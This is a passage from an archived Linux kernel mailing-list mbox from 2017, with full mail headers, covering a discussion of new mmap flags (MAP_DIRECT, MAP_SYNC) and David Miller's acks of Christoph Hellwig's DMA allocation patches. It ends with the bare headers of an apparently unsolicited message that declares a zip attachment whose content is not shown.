         VZf8rp6KdWLFBtdqghPrcUQCCDQwLkzCv0eIIKOm5F/oFA62eOv7VHPHy86m3OVxQYV3
         Xkfnc0qRIi8cjY5FvDJeL8f22EF0s7XfhSN/Q9aRKT72xQjE6NftfgzQ/Zc2BV9UMJM6
         9RtK3JBhC1Z1cv29iNNC2SVhsI2PeyzSmlG2I83q/UbOeo0Xee8HX4xzZuk1SjwiEM5F
         uQ7XJLPaxA2M/3TLEMIbsFOab3set9HH8i1VphGp9fMsJEDi/xKpRrFm2M8Ir+R2G/Ww
         hr/g==
ARC-Authentication-Results: i=1; mx.google.com;
       dkim=pass header.i=@intel-com.20150623.gappssmtp.com header.s=20150623 header.b=PcX0mWMQ;
       spf=pass (google.com: domain of dan.j.williams@intel.com designates 2607:f8b0:4003:c06::234 as permitted sender) smtp.mailfrom=dan.j.williams@intel.com
Original-Received: from mail-oi0-x234.google.com (mail-oi0-x234.google.com. [2607:f8b0:4003:c06::234])
        by mx.google.com with ESMTPS id q206si7610858oih.53.2017.08.26.15.46.24
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sat, 26 Aug 2017 15:46:24 -0700 (PDT)
Received-SPF: pass (google.com: domain of dan.j.williams@intel.com designates 2607:f8b0:4003:c06::234 as permitted sender) client-ip=2607:f8b0:4003:c06::234;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@intel-com.20150623.gappssmtp.com header.s=20150623 header.b=PcX0mWMQ;
       spf=pass (google.com: domain of dan.j.williams@intel.com designates 2607:f8b0:4003:c06::234 as permitted sender) smtp.mailfrom=dan.j.williams@intel.com
Original-Received: by mail-oi0-x234.google.com with SMTP id g127so7997030oic.1
        for <linux-mm@kvack.org>; Sat, 26 Aug 2017 15:46:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=intel-com.20150623.gappssmtp.com; s=20150623;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=Nr/Qe/4Zj4Gvt9AQyioAXEdxOQarkR/osSfkNkHaYV8=;
        b=PcX0mWMQVmaDAC87keYsPsqpsy8FMxjMe5eQkGizi5bLLyTMW+D7wQ29RJOPcAaQea
         QfoH+tFpsBO/Jh7elf/VdW7sEgJ47ovLkfg/4WX/MNUG1gbOV7sJSUz6X44rZYHHzDM7
         KzLqMc9RJ66IbAk86V8/tYPVTjFn7Ken+/rmtYLB+/tq6b0HPYwW68KcuN7jvLm8eiyY
         JiSlbnh7vHCt4ePBkZTRtEqdeyQRFLQp4T0f5AxOf/vyfYGQuH/GMRtQ8FLfjidO2uVd
         3tq/m7ee0Ptodq2lYZryFkyRu9KVVnlJip05G2o/xjSnpe/yK1CIuaP3pVhOCBmPcC6I
         XZWw==
X-Received: by 10.202.60.132 with SMTP id j126mr3118140oia.115.1503787583915;
 Sat, 26 Aug 2017 15:46:23 -0700 (PDT)
Original-Received: by 10.157.42.3 with HTTP; Sat, 26 Aug 2017 15:46:22 -0700 (PDT)
In-Reply-To: <35692b04-eb4f-740c-e35c-8ccbf69e0e97@gmx.de>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:178698 gmane.linux.hardware.nvdimm:6110 gmane.linux.kernel.api:24591 gmane.linux.kernel:2558219 gmane.linux.file-systems:125895 gmane.linux.ports.parisc:27769
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/178698>

On Sat, Aug 26, 2017 at 12:50 PM, Helge Deller <deller@gmx.de> wrote:
> On 26.08.2017 17:15, Dan Williams wrote:
[..]
>> I have not seen any patches for parisc pmem+dax enabling so it seems
>> too early to worry about these "last mile" enabling features of
>> MAP_DIRECT and MAP_SYNC. In particular parisc doesn't appear to have
>> ARCH_ENABLE_MEMORY_HOTPLUG, so as far as I can see it can't yet
>> support the ZONE_DEVICE scheme that is a pre-requisite for MAP_DIRECT.
>
> I see, but then it's probably best to not to define any MAP_DIRECT or
> MAP_SYNC at all in the headers of those arches which don't support
> pmem+dax (parisc, m68k, alpha, and probably quite some others).
> That way applications can detect at configure time if the platform
> supports that, and can leave out the functionality completely.

Yes, that's a good idea we can handle this similar to
CONFIG_MMAP_ALLOW_UNINITIALIZED. These patches will also modify
'struct file_operations' so that do_mmap() can validate whether a flag
is supported on per architecture basis. Also the plan is to plumb the
flags passed to the syscall all the way down to the individual mmap
implementations. The ext4 and xfs ->mmap() operations will be able to
return -EOPNOTSUP based on runtime variables.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.hardware.nvdimm,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: Re: [PATCH v6 3/5] mm: introduce mmap3 for safely defining new mmap
 flags
Date: Sun, 27 Aug 2017 02:56:09 +0300
Lines: 36
Approved: news@gmane.org
Message-ID: <20170826235609.xwdah3raqlqdp3xx@node.shutemov.name>
References: <20170825130011.GA30072@infradead.org>
 <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
 <20170825160236.GA2561@infradead.org>
 <20170825161607.6v6beg4zjktllt2z@node.shutemov.name>
 <4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de>
 <CAPcyv4jeZc8P+E0aHNChzy-wfNpOx3GehKck1nXqJ1b9JdydFA@mail.gmail.com>
 <20170826074047.GA6292@ls3530.fritz.box>
 <CAPcyv4ic0zxQzWEipZ=1LpDC8VnmphGzVSYmrFcjOAgX7esfUw@mail.gmail.com>
 <35692b04-eb4f-740c-e35c-8ccbf69e0e97@gmx.de>
 <CAPcyv4i0+3Smg9bfynKa150y7qvQ-WVRBHyCrK=R1b4oVj3URA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503791782 25798 195.159.176.226 (26 Aug 2017 23:56:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 23:56:22 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Helge Deller <deller@gmx.de>, Christoph Hellwig <hch@infradead.org>,
	Andrew Morton <akpm@linux-foundation.org>, Jan Kara <jack@suse.cz>,
	Arnd Bergmann <arnd@arndb.de>,
	"linux-nvdimm@lists.01.org" <linux-nvdimm@lists.01.org>,
	Linux API <linux-api@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-xfs@vger.kernel.org, Linux MM <linux-mm@kvack.org>,
	Andy Lutomirski <luto@kernel.org>,
	linux-fsdevel <linux-fsdevel@vger.kernel.org>,
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-parisc@vger.kernel.org
To: Dan Williams <dan.j.williams@intel.com>
Original-X-From: owner-linux-mm@kvack.org Sun Aug 27 01:56:15 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1dlkvx-0005wy-1P
	for glkm-linux-mm-2@m.gmane.org; Sun, 27 Aug 2017 01:56:09 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 05A9D2808AF; Sat, 26 Aug 2017 19:56:15 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 0329C2808AE; Sat, 26 Aug 2017 19:56:14 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id E63522808AF; Sat, 26 Aug 2017 19:56:14 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wm0-f71.google.com (mail-wm0-f71.google.com [74.125.82.71])
	by kanga.kvack.org (Postfix) with ESMTP id 89FF92808AE
	for <linux-mm@kvack.org>; Sat, 26 Aug 2017 19:56:14 -0400 (EDT)
Original-Received: by mail-wm0-f71.google.com with SMTP id j72so4449284wmi.5
        for <linux-mm@kvack.org>; Sat, 26 Aug 2017 16:56:14 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-disposition:in-reply-to
         :user-agent;
        bh=nggLkLiLAUYtY59dJxUQIJIVnI//FzAQTgMKSVy2IPY=;
        b=DQzupZiPsikvv61FuAoHkdZ0LfAUk/1y7/aWjihNt3v6feJKCeYqtjFidjkVUOm32f
         msRPEYVwKO0p2WZG4jshkoi6DL+v4o6GpAhy5yx7fF4rZ2cq/DA5005OF/5gN+Tv/SAv
         ZQgCMWImQ0JXZto3CBuZ6uu3Bm0H4JOFrH3zhTmGYhrND0lGGGL52cLYWr6OIqkk+ZsS
         eXnUo1ikmol4I86qwN0Wc+qv+B2KKH6gnYbc1nlB8oGZiZA1QKjpPyVikYwR3eR5vk2f
         U7yGFCMFYiZGhcIVDH5WG2MOYNx0Tv3Y891KySUusXsr7yE7CFbfr+2/QP/84wMUyn3p
         ZuaQ==
X-Gm-Message-State: AHYfb5gmEUGd/aqrNlw1pfSGMKVctAikCVtK9Y3U2BqcREw486yIg9zA
	wCmCRzvuFPPUjQ9tU9spTlVintOlkf8RfbKg+krFykIuaGG4oTdYl6voYZ9cmjevZgMDWPkSLhv
	Ge+K1+WiGQgHosK2t68UEs84wEVxTFmiVidqwKtCxJKPr0zHW7whKy+aTHE0qJ7OKVqYPGBAATS
	KGpGR+VEvyoA0Ur0Mt4oUAmRhfg0YRaDpbnmolYuEbi8rQQilylWmMZ9LWrFN2FF67j67x0fHmz
	57v0gDQ8ptUjYYqxOtWYTp+pIQ8oanx1ShVmqutyOLIdbYUPDSGqHVsKE5vd7pXHxXeHX54DQyb
	cXgvJrKDUHBwPz9yFd5TjPk/2b/8JPx8d3vec2hq4k8YOgvA/fWdfLhLX4F4ThKTvIc=
X-Received: by 10.80.163.212 with SMTP id t20mr2814603edb.292.1503791774012;
        Sat, 26 Aug 2017 16:56:14 -0700 (PDT)
X-Received: by 10.80.163.212 with SMTP id t20mr2814582edb.292.1503791773079;
        Sat, 26 Aug 2017 16:56:13 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1503791773; cv=none;
        d=google.com; s=arc-20160816;
        b=DojXx+DS5GVHRhrVj3GOyA+xiJlw2pV1M/kizlQL6oIF+iWY66rg72Q0Qn2qOQfyFr
         08GlbLZDO+bQsWEjCi/Q4Iwex2NKZr1cPwcOv0uUsC+zb3VZ8SEp/QfeXRaE9KLcmTrY
         UBb2aYYUOM7GdVwq3GOpCfC+hbBiBzi53vDqbPUXpr+W6IfvA9PtxAdggA91s4Qu8gmt
         jbPHxOzHI/LeMQtxTYOIcUnD0r6Wwkn1m99nhzrMWy0oJ+GQOuLkPJuydCJ1P9yqbyTE
         c4LacMIbu1kiFFSOkex39LyVW189Fvf7SFkToXprQpRm5oQgLiMWRJPhtHyVHHABMGZK
         njgA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=user-agent:in-reply-to:content-disposition:mime-version:references
         :message-id:subject:cc:to:from:date:dkim-signature
         :arc-authentication-results;
        bh=nggLkLiLAUYtY59dJxUQIJIVnI//FzAQTgMKSVy2IPY=;
        b=GMeNsLh13D3uBpYbXk5Ead/4T7N/fkiaAq7WzyNPDj5lc1v36tLL63PjwAxdHBn21+
         g1f+G0gyhIHSsV7WUuVo7EFd2RG00Vqye27AVHZ1zZyABTZdnGg4IVGXwEuu0rt3reBT
         K3cYVRJk1HJsxoqKP6568F/pFeFN+c6IEPW3enJ6qLns2cInDGX8cqiOTLEgJQjsW+l/
         Uxtwfez4gYRjnm6MCV44UcLFbl/Y16ffffHjLQGB+3V8EXvKg4PRbQ9eGFKbD8ZHsjEG
         QnC2j4LhjQehLZsXwzIvViUFwD6/GyRO4KvX74opB3W7Daj/wo04rbydP95v9mXO5gcD
         w+Jg==
ARC-Authentication-Results: i=1; mx.google.com;
       dkim=pass header.i=@shutemov-name.20150623.gappssmtp.com header.s=20150623 header.b=fqpxpvO+;
       spf=neutral (google.com: 2a00:1450:400c:c09::243 is neither permitted nor denied by best guess record for domain of kirill@shutemov.name) smtp.mailfrom=kirill@shutemov.name
Original-Received: from mail-wm0-x243.google.com (mail-wm0-x243.google.com. [2a00:1450:400c:c09::243])
        by mx.google.com with ESMTPS id 93si8659612edj.542.2017.08.26.16.56.12
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sat, 26 Aug 2017 16:56:13 -0700 (PDT)
Received-SPF: neutral (google.com: 2a00:1450:400c:c09::243 is neither permitted nor denied by best guess record for domain of kirill@shutemov.name) client-ip=2a00:1450:400c:c09::243;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@shutemov-name.20150623.gappssmtp.com header.s=20150623 header.b=fqpxpvO+;
       spf=neutral (google.com: 2a00:1450:400c:c09::243 is neither permitted nor denied by best guess record for domain of kirill@shutemov.name) smtp.mailfrom=kirill@shutemov.name
Original-Received: by mail-wm0-x243.google.com with SMTP id e67so3431488wmd.0
        for <linux-mm@kvack.org>; Sat, 26 Aug 2017 16:56:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=shutemov-name.20150623.gappssmtp.com; s=20150623;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=nggLkLiLAUYtY59dJxUQIJIVnI//FzAQTgMKSVy2IPY=;
        b=fqpxpvO+MMdttLmd2b1gzHH/22mFyLsh4VVI4iiZCburqONMxDfvhgol+iD+h6cDgD
         M2W8YBVoJGshKbmFuY9SQBLaM5+QHaOIgbDSsDb5JMTPKo4CjaFcohC575cu5vhon+AD
         ICZu4UP7JTrHDTD3My95LSYg0caiZrsQ+/6I8zGxggKZY1qmC2HNTnvF95g+FccfKMQP
         xNdaiZihTgpQmSq9g/dIRug07PWAZ9MYZJRchDr3dbW3sbknmY1+IOkQ17zPMHBA9MJW
         Z7+juQ8WnQggjmgbMhf6d29GbnRvpq3dZBk40ONAVvYz5EjTQX40uXAAa9lzaTrpt4dX
         3nJA==
X-Received: by 10.80.161.69 with SMTP id 63mr2773106edj.148.1503791772435;
        Sat, 26 Aug 2017 16:56:12 -0700 (PDT)
Original-Received: from node.shutemov.name ([178.121.234.228])
        by smtp.gmail.com with ESMTPSA id j1sm6104296edj.59.2017.08.26.16.56.10
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sat, 26 Aug 2017 16:56:10 -0700 (PDT)
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id 34BD9648D520; Sun, 27 Aug 2017 02:56:09 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <CAPcyv4i0+3Smg9bfynKa150y7qvQ-WVRBHyCrK=R1b4oVj3URA@mail.gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:178699 gmane.linux.hardware.nvdimm:6111 gmane.linux.kernel.api:24592 gmane.linux.kernel:2558221 gmane.linux.file-systems:125896 gmane.linux.ports.parisc:27770
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/178699>

On Sat, Aug 26, 2017 at 03:46:22PM -0700, Dan Williams wrote:
> On Sat, Aug 26, 2017 at 12:50 PM, Helge Deller <deller@gmx.de> wrote:
> > On 26.08.2017 17:15, Dan Williams wrote:
> [..]
> >> I have not seen any patches for parisc pmem+dax enabling so it seems
> >> too early to worry about these "last mile" enabling features of
> >> MAP_DIRECT and MAP_SYNC. In particular parisc doesn't appear to have
> >> ARCH_ENABLE_MEMORY_HOTPLUG, so as far as I can see it can't yet
> >> support the ZONE_DEVICE scheme that is a pre-requisite for MAP_DIRECT.
> >
> > I see, but then it's probably best to not to define any MAP_DIRECT or
> > MAP_SYNC at all in the headers of those arches which don't support
> > pmem+dax (parisc, m68k, alpha, and probably quite some others).
> > That way applications can detect at configure time if the platform
> > supports that, and can leave out the functionality completely.
> 
> Yes, that's a good idea we can handle this similar to
> CONFIG_MMAP_ALLOW_UNINITIALIZED. These patches will also modify
> 'struct file_operations' so that do_mmap() can validate whether a flag
> is supported on per architecture basis. Also the plan is to plumb the
> flags passed to the syscall all the way down to the individual mmap
> implementations. The ext4 and xfs ->mmap() operations will be able to
> return -EOPNOTSUP based on runtime variables.

BTW, we may be able to reuse the bit used for MAP_UNINITIALIZED -- it's
only used on !MMU machines.

-- 
 Kirill A. Shutemov

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.kernel
Subject: Re: [PATCH 1/4] sgiseeq: switch to dma_alloc_attrs
Date: Mon, 28 Aug 2017 15:41:51 -0700 (PDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <20170828.154151.502026172655565151.davem@davemloft.net>
References: <20170826072125.9790-1-hch@lst.de>
        <20170826072125.9790-2-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503960118 28070 195.159.176.226 (28 Aug 2017 22:41:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Aug 2017 22:41:58 +0000 (UTC)
Cc: netdev@vger.kernel.org, ralf@linux-mips.org,
        linux-mips@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: hch@lst.de
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 29 00:41:52 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dmSj4-00074r-5c
	for glpp-linux-parisc@m.gmane.org; Tue, 29 Aug 2017 00:41:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751237AbdH1Wlx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 28 Aug 2017 18:41:53 -0400
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:50096 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751190AbdH1Wlw (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 28 Aug 2017 18:41:52 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
        (using TLSv1 with cipher AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 1B310133F6424;
        Mon, 28 Aug 2017 15:41:52 -0700 (PDT)
In-Reply-To: <20170826072125.9790-2-hch@lst.de>
X-Mailer: Mew version 6.7 on Emacs 25.2 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 28 Aug 2017 15:41:52 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27771 gmane.linux.network:488269 gmane.linux.ports.mips:148 gmane.linux.kernel:2559589
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27771>

From: Christoph Hellwig <hch@lst.de>
Date: Sat, 26 Aug 2017 09:21:22 +0200

> Use dma_alloc_attrs directly instead of the dma_alloc_noncoherent wrapper.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Acked-by: David S. Miller <davem@davemloft.net>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/4] au1000_eth: switch to dma_alloc_attrs
Date: Mon, 28 Aug 2017 15:42:05 -0700 (PDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <20170828.154205.369953675932001525.davem@davemloft.net>
References: <20170826072125.9790-1-hch@lst.de>
        <20170826072125.9790-3-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503960130 30397 195.159.176.226 (28 Aug 2017 22:42:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Aug 2017 22:42:10 +0000 (UTC)
Cc: netdev@vger.kernel.org, ralf@linux-mips.org,
        linux-mips@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: hch@lst.de
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 29 00:42:06 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dmSjK-0006qE-2d
	for glk-linux-kernel-3@m.gmane.org; Tue, 29 Aug 2017 00:42:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751363AbdH1WmH (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 28 Aug 2017 18:42:07 -0400
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:50106 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751190AbdH1WmF (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 28 Aug 2017 18:42:05 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
        (using TLSv1 with cipher AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 68019133F6426;
        Mon, 28 Aug 2017 15:42:05 -0700 (PDT)
In-Reply-To: <20170826072125.9790-3-hch@lst.de>
X-Mailer: Mew version 6.7 on Emacs 25.2 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 28 Aug 2017 15:42:05 -0700 (PDT)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2559590 gmane.linux.network:488270 gmane.linux.ports.mips:149 gmane.linux.ports.parisc:27772
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2559590>

From: Christoph Hellwig <hch@lst.de>
Date: Sat, 26 Aug 2017 09:21:23 +0200

> Use dma_alloc_attrs directly instead of the dma_alloc_noncoherent wrapper.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Acked-by: David S. Miller <davem@davemloft.net>


From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.ports.parisc
Subject: Re: [PATCH 3/4] i825xx: switch to switch to dma_alloc_attrs
Date: Mon, 28 Aug 2017 15:42:21 -0700 (PDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <20170828.154221.1152120540177040528.davem@davemloft.net>
References: <20170826072125.9790-1-hch@lst.de>
        <20170826072125.9790-4-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503960145 416 195.159.176.226 (28 Aug 2017 22:42:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Aug 2017 22:42:25 +0000 (UTC)
Cc: netdev@vger.kernel.org, ralf@linux-mips.org,
        linux-mips@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: hch@lst.de
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 29 00:42:21 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dmSja-0008GR-Qd
	for glk-linux-kernel-3@m.gmane.org; Tue, 29 Aug 2017 00:42:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751404AbdH1WmY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 28 Aug 2017 18:42:24 -0400
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:50116 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751190AbdH1WmW (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 28 Aug 2017 18:42:22 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
        (using TLSv1 with cipher AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 95940133F6424;
        Mon, 28 Aug 2017 15:42:21 -0700 (PDT)
In-Reply-To: <20170826072125.9790-4-hch@lst.de>
X-Mailer: Mew version 6.7 on Emacs 25.2 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 28 Aug 2017 15:42:21 -0700 (PDT)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2559591 gmane.linux.network:488271 gmane.linux.ports.mips:150 gmane.linux.ports.parisc:27773
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2559591>

From: Christoph Hellwig <hch@lst.de>
Date: Sat, 26 Aug 2017 09:21:24 +0200

> This way we can always pass DMA_ATTR_NON_CONSISTENT, the SNI mips version
> will simply ignore the flag.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Acked-by: David S. Miller <davem@davemloft.net>


From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <catherine.verge@hcahealthcare.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Tue, 29 Aug 2017 03:02:31 -0000
Lines: 1276
Approved: news@gmane.org
Message-ID: <150397575187.2449.2846073882058716788@regencymedia.com.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="MAIL_9444780361_linux-parisc.zip"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1503975760 30597 195.159.176.226 (29 Aug 2017 03:02:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 29 Aug 2017 03:02:40 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
